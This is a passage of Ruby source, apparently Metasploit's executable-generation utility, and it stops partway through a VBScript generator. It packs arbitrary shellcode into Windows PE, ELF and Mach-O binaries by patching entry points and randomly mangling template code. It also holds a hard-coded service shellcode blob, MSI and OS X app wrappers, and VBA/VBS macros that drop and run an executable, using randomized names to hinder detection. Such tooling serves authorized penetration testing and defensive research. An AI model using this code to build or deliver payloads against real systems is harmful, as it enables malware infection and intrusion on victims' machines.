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metasploit-gs/lib/msf/util/exe.rb
T
Tod Beardsley d3050de862 Remove references to Redmine in code 
See #4400. This should be all of them, except for, of course, the module
that targets Redmine itself.

Note that this also updates the README.md with more current information
as well.
2014-12-19 17:27:08 -06:00

1969 lines
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# -*- coding: binary -*-
module Msf
module Util
#
# The class provides methods for creating and encoding executable file
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
class EXE
require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier_generator'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
##
#
# Helper functions common to multiple generators
#
##
def self.set_template_default(opts, exe = nil, path = nil)
# If no path specified, use the default one.
path ||= File.join(Msf::Config.data_directory, "templates")
# If there's no default name, we must blow it up.
unless exe
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
'without default exe name!'
end
# Use defaults only if nothing is specified
opts[:template_path] ||= path
opts[:template] ||= exe
# Only use the path when the filename contains no separators.
unless opts[:template].include?(File::SEPARATOR)
opts[:template] = File.join(opts[:template_path], opts[:template])
end
# Check if it exists now
return if File.file?(opts[:template])
# If it failed, try the default...
if opts[:fallback]
default_template = File.join(path, exe)
if File.file?(default_template)
# Perhaps we should warn about falling back to the default?
opts.merge!({ :fellback => default_template })
opts[:template] = default_template
end
end
end
def self.read_replace_script_template(filename, hash_sub)
template_pathname = File.join(Msf::Config.data_directory, "templates",
"scripts", filename)
template = ''
File.open(template_pathname, "rb") {|f| template = f.read}
template % hash_sub
end
##
#
# Executable generators
#
##
def self.to_executable(framework, arch, plat, code = '', opts = {})
if arch.index(ARCH_X86)
if plat.index(Msf::Module::Platform::Windows)
return to_win32pe(framework, code, opts)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_x86_elf(framework, code)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_x86_macho(framework, code)
end
if plat.index(Msf::Module::Platform::BSD)
return to_bsd_x86_elf(framework, code)
end
if plat.index(Msf::Module::Platform::Solaris)
return to_solaris_x86_elf(framework, code)
end
# XXX: Add remaining x86 systems here
end
if arch.index(ARCH_X86_64) || arch.index(ARCH_X64)
if (plat.index(Msf::Module::Platform::Windows))
return to_win64pe(framework, code, opts)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_x64_elf(framework, code, opts)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_x64_macho(framework, code)
end
end
if arch.index(ARCH_ARMLE)
if plat.index(Msf::Module::Platform::OSX)
return to_osx_arm_macho(framework, code)
end
if plat.index(Msf::Module::Platform::Linux)
return to_linux_armle_elf(framework, code)
end
# XXX: Add remaining ARMLE systems here
end
if arch.index(ARCH_PPC)
if plat.index(Msf::Module::Platform::OSX)
return to_osx_ppc_macho(framework, code)
end
# XXX: Add PPC OS X and Linux here
end
if arch.index(ARCH_MIPSLE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_mipsle_elf(framework, code)
end
# XXX: Add remaining MIPSLE systems here
end
if arch.index(ARCH_MIPSBE)
if plat.index(Msf::Module::Platform::Linux)
return to_linux_mipsbe_elf(framework, code)
end
# XXX: Add remaining MIPSLE systems here
end
nil
end
def self.to_win32pe(framework, code, opts = {})
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
if opts[:sub_method]
if opts[:inject]
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
end
# use
self.to_win32pe_exe_sub(framework, code, opts)
end
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x86_windows.exe")
# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec(code)
# Create a new PE object and run through sanity checks
fsize = File.size(opts[:template])
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
text = nil
pe.sections.each {|sec| text = sec if sec.name == ".text"}
#try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x86
})
injector.generate_pe
end
raise RuntimeError, "No .text section found in the template" unless text
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
raise RuntimeError, "The .text section does not contain an entry point"
end
p_length = payload.length + 256
if text.size < p_length
fname = ::File.basename(opts[:template])
msg = "The .text section for '#{fname}' is too small. "
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
"#{text.size.to_s} bytes"
raise RuntimeError, msg
end
# Store some useful offsets
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
off_beg = pe.rva_to_file_offset(text.base_rva)
# We need to make sure our injected code doesn't conflict with the
# the data directories stored in .text (import, export, etc)
mines = []
pe.hdr.opt['DataDirectory'].each do |dir|
next if dir.v['Size'] == 0
next unless text.contains_rva?(dir.v['VirtualAddress'])
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
mines << [delta, dir.v['Size']]
end
# Break the text segment into contiguous blocks
blocks = []
bidx = 0
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
bbeg = bidx
bend = mine[0]
blocks << [bidx, bend-bidx] if bbeg != bend
bidx = mine[0] + mine[1]
end
# Add the ending block
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
# Find the largest contiguous block
blocks.sort!{|a,b| b[1]<=>a[1]}
block = blocks.first
# TODO: Allow the entry point in a different block
if payload.length + 256 > block[1]
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
end
# Make a copy of the entire .text section
data = text.read(0,text.size)
# Pick a random offset to store the payload
poff = rand(block[1] - payload.length - 256)
# Flip a coin to determine if EP is before or after
eloc = rand(2)
eidx = nil
# Pad the entry point with random nops
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
# Pick an offset to store the new entry point
if eloc == 0 # place the entry point before the payload
poff += 256
eidx = rand(poff-(entry.length + 5))
else # place the entry pointer after the payload
poff -= 256
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
end
# Relative jump from the end of the nops to the payload
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
# Mangle 25% of the original executable
1.upto(block[1] / 4) do
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
end
# Patch the payload and the new entry point into the .text
data[block[0] + poff, payload.length] = payload
data[block[0] + eidx, entry.length] = entry
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
a = [text.base_rva + block.first + eidx].pack("V")
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
exe[off_beg, data.length] = data
tds = pe.hdr.file.TimeDateStamp
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
cks = pe.hdr.opt.CheckSum
unless cks == 0
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
end
pe.close
exe
end
def self.to_winpe_only(framework, code, opts = {}, arch="x86")
arch = ARCH_X64 if arch == ARCH_X86_64
# Allow the user to specify their own EXE template
set_template_default(opts, "template_#{arch}_windows.exe")
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
exe = ''
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
pe_header_size = 0x18
entryPoint_offset = 0x28
section_size = 0x28
characteristics_offset = 0x24
virtualAddress_offset = 0x0c
sizeOfRawData_offset = 0x10
sections_table_offset =
pe._dos_header.v['e_lfanew'] +
pe._file_header.v['SizeOfOptionalHeader'] +
pe_header_size
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
sections_header = []
pe._file_header.v['NumberOfSections'].times do |i|
section_offset = sections_table_offset + (i * section_size)
sections_header << [
sections_table_characteristics_offset + (i * section_size),
exe[section_offset,section_size]
]
end
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - code.length + 4
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
end
# put this section writable
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('V')
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
# put the shellcode at the entry point, overwriting template
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
exe[entryPoint_file_offset,code.length] = code
exe
end
def self.to_win32pe_old(framework, code, opts = {})
payload = code.dup
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x86_windows_old.exe")
pe = ''
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
if payload.length <= 2048
payload << Rex::Text.rand_text(2048-payload.length)
else
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
"bytes, please fix the calling module"
end
bo = pe.index('PAYLOAD:')
unless bo
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
end
pe[bo, payload.length] = payload
pe[136, 4] = [rand(0x100000000)].pack('V')
ci = pe.index("\x31\xc9" * 160)
unless ci
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
end
cd = pe.index("\x31\xc9" * 160, ci + 320)
unless cd
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
end
rc = pe[ci+320, cd-ci-320]
# 640 + rc.length bytes of room to store an encoded rc at offset ci
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
lft = 640+rc.length - enc.length
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
pe[ci, buf.length] = buf
# Make the data section executable
xi = pe.index([0xc0300040].pack('V'))
pe[xi,4] = [0xe0300020].pack('V')
# Add a couple random bytes for fun
pe << Rex::Text.rand_text(rand(64)+4)
pe
end
# Splits a string into a number of assembly push operations
#
# @param string [String] string to be used
#
# @return [String] null terminated string as assembly push ops
def self.string_to_pushes(string)
str = string.dup
# Align string to 4 bytes
rem = (str.length) % 4
if rem > 0
str << "\x00" * (4 - rem)
pushes = ''
else
pushes = "h\x00\x00\x00\x00"
end
# string is now 4 bytes aligned with null byte
# push string to stack, starting at the back
while str.length > 0
four = 'h'+str.slice!(-4,4)
pushes << four
end
pushes
end
def self.exe_sub_method(code,opts ={})
pe = self.get_file_contents(opts[:template])
case opts[:exe_type]
when :service_exe
max_length = 8192
name = opts[:servicename]
if name
bo = pe.index('SERVICENAME')
unless bo
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
end
pe[bo, 11] = [name].pack('a11')
end
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
if code.length <= max_length
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of " +
"#{max_length} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
if opts[:dll_exitprocess]
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
et_index = pe.index(exit_thread)
if et_index
pe[et_index,exit_process.length] = exit_process
else
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
end
end
end
pe
end
def self.to_win32pe_exe_sub(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
def self.to_win64pe(framework, code, opts = {})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
#try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x64
})
injector.generate_pe
end
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
# Embeds shellcode within a Windows PE file implementing the Windows
# service control methods.
#
# @param framework [Object]
# @param code [String] shellcode to be embedded
# @option opts [Boolean] :sub_method use substitution technique with a
# service template PE
# @option opts [String] :servicename name of the service, not used in
# substituion technique
#
# @return [String] Windows Service PE file
def self.to_win32pe_service(framework, code, opts = {})
if opts[:sub_method]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
opts[:exe_type] = :service_exe
return exe_sub_method(code,opts)
else
name = opts[:servicename]
name ||= Rex::Text.rand_text_alpha(8)
pushed_service_name = string_to_pushes(name)
precode_size = 0xc6
svcmain_code_offset = precode_size + pushed_service_name.length
precode_size = 0xcc
hash_code_offset = precode_size + pushed_service_name.length
precode_size = 0xbf
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
code_service_stopped =
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
precode_size = 0x42
shellcode_code_offset = code_service_stopped.length + precode_size
# code_service could be encoded in the future
code_service =
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
"\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
"#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
"\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
"#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
to_winpe_only(framework, code_service + code, opts)
end
end
def self.to_win64pe_service(framework, code, opts = {})
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x64_windows_svc.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
def self.to_win32pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.dll")
opts[:exe_type] = :dll
if opts[:inject]
self.to_win32pe(framework, code, opts)
else
exe_sub_method(code,opts)
end
end
def self.to_win64pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows.dll")
opts[:exe_type] = :dll
if opts[:inject]
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
else
exe_sub_method(code,opts)
end
end
#
# Wraps an executable inside a Windows
# .msi file for auto execution when run
#
def self.to_exe_msi(framework, exe, opts = {})
if opts[:uac]
opts[:msi_template] ||= "template_windows.msi"
else
opts[:msi_template] ||= "template_nouac_windows.msi"
end
replace_msi_buffer(exe, opts)
end
def self.replace_msi_buffer(pe, opts)
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
if opts[:msi_template].include?(File::SEPARATOR)
template = opts[:msi_template]
else
template = File.join(opts[:msi_template_path], opts[:msi_template])
end
msi = self.get_file_contents(template)
section_size = 2**(msi[30..31].unpack('v')[0])
# This table is one of the few cases where signed values are needed
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
buffer_chain = []
# This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
current_secid = 5
until current_secid == -2
buffer_chain << current_secid
current_secid = sector_allocation_table[current_secid]
end
buffer_size = buffer_chain.length * section_size
if pe.size > buffer_size
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
end
pe_block_start = 0
pe_block_end = pe_block_start + section_size - 1
buffer_chain.each do |section|
block_start = section_size * (section + 1)
block_end = block_start + section_size - 1
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
msi[block_start..block_end] = pe_block
pe_block_start = pe_block_end + 1
pe_block_end += section_size
end
msi
end
def self.to_osx_arm_macho(framework, code, opts = {})
# Allow the user to specify their own template
set_template_default(opts, "template_armle_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
def self.to_osx_ppc_macho(framework, code, opts = {})
# Allow the user to specify their own template
set_template_default(opts, "template_ppc_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
def self.to_osx_x86_macho(framework, code, opts = {})
# Allow the user to specify their own template
set_template_default(opts, "template_x86_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
def self.to_osx_x64_macho(framework, code, opts = {})
set_template_default(opts, "template_x64_darwin.bin")
macho = self.get_file_contents(opts[:template])
bin = self.find_payload_tag(macho,
"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
macho[bin, code.length] = code
macho
end
# @param [Hash] opts the options hash
# @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
# @option opts [String] :app_name (random) the name of the OSX app
# @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
# @return [String] zip archive containing an OSX .app directory
def self.to_osx_app(exe, opts = {})
exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8)
app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8)
plist_extra = opts[:plist_extra] || ''
app_name.chomp!(".app")
app_name += ".app"
info_plist = %Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}
</dict>
</plist>
|
zip = Rex::Zip::Archive.new
zip.add_file("#{app_name}/", '')
zip.add_file("#{app_name}/Contents/", '')
zip.add_file("#{app_name}/Contents/MacOS/", '')
zip.add_file("#{app_name}/Contents/Resources/", '')
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe)
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
zip.pack
end
# Create an ELF executable containing the payload provided in +code+
#
# For the default template, this method just appends the payload, checks if
# the template is 32 or 64 bit and adjusts the offsets accordingly
# For user-provided templates, modifies the header to mark all executable
# segments as writable and overwrites the entrypoint (usually _start) with
# the payload.
#
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
# Allow the user to specify their own template
set_template_default(opts, template)
# The old way to do it is like other formats, just overwrite a big
# block of rwx mem with our shellcode.
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
#co = elf.index( " " * 512 )
#elf[bo, 2048] = [code].pack('a2048') if bo
# The new template is just an ELF header with its entry point set to
# the end of the file, so just append shellcode to it and fixup
# p_filesz and p_memsz in the header for a working ELF executable.
elf = self.get_file_contents(opts[:template])
elf << code
# Check EI_CLASS to determine if the header is 32 or 64 bit
# Use the proper offsets and pack size
case elf[4,1].unpack("C").first
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
if big_endian
elf[0x44,4] = [elf.length].pack('N') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
else # little endian
elf[0x44,4] = [elf.length].pack('V') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
end
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
if big_endian
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
else # little endian
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
end
else
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
end
elf
end
# Create a 32-bit Linux ELF containing the payload provided in +code+
def self.to_linux_x86_elf(framework, code, opts = {})
default = true unless opts[:template]
if default
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
else
# If this isn't our normal template, we have to do some fancy
# header patching to mark the .text section rwx before putting our
# payload into the entry point.
# read in the template and parse it
e = Metasm::ELF.decode_file(opts[:template])
# This will become a modified copy of the template's original phdr
new_phdr = Metasm::EncodedData.new
e.segments.each { |s|
# Be lazy and mark any executable segment as writable. Doing
# it this way means we don't have to care about which one
# contains .text
s.flags += [ "W" ] if s.flags.include? "X"
new_phdr << s.encode(e)
}
# Copy the original file
elf = self.get_file_contents(opts[:template], "rb")
# Replace the header with our rwx modified version
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
# Replace code at the entrypoint with our payload
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
elf[entry_off, code.length] = code
end
elf
end
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
def self.to_bsd_x86_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
end
# Create a 32-bit Solaris ELF containing the payload provided in +code+
def self.to_solaris_x86_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
end
# Create a 64-bit Linux ELF containing the payload provided in +code+
def self.to_linux_x64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
end
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
def self.to_linux_x64_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end
def self.to_linux_armle_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end
def self.to_linux_mipsle_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
end
def self.to_linux_mipsbe_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
end
def self.to_exe_vba(exes='')
exe = exes.unpack('C*')
hash_sub = {}
idx = 0
maxbytes = 2000
var_base_idx = 0
var_base = Rex::Text.rand_text_alpha(5).capitalize
# First write the macro into the vba file
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
# Function 1 extracts the binary
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
# Function 2 executes the binary
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
hash_sub[:data] = ""
# Writing the bytes of the exe to the file
1.upto(exe.length) do |pc|
while c = exe[idx]
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
if idx > 1 && (idx % maxbytes) == 0
# When maxbytes are written make a new paragrpah
hash_sub[:data] << "\r\n"
end
idx += 1
end
end
read_replace_script_template("to_exe.vba.template", hash_sub)
end
def self.to_vba(framework,code,opts = {})
hash_sub = {}
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
# put the shellcode bytes into an array
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
read_replace_script_template("to_mem.vba.template", hash_sub)
end
def self.to_exe_vbs(exes = '', opts = {})
delay = opts[:delay] || 5
persist = opts[:persist] || false
hash_sub = {}
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:hex_shellcode] = exes.unpack('H*').join('')
hash_sub[:init] = ""
if persist
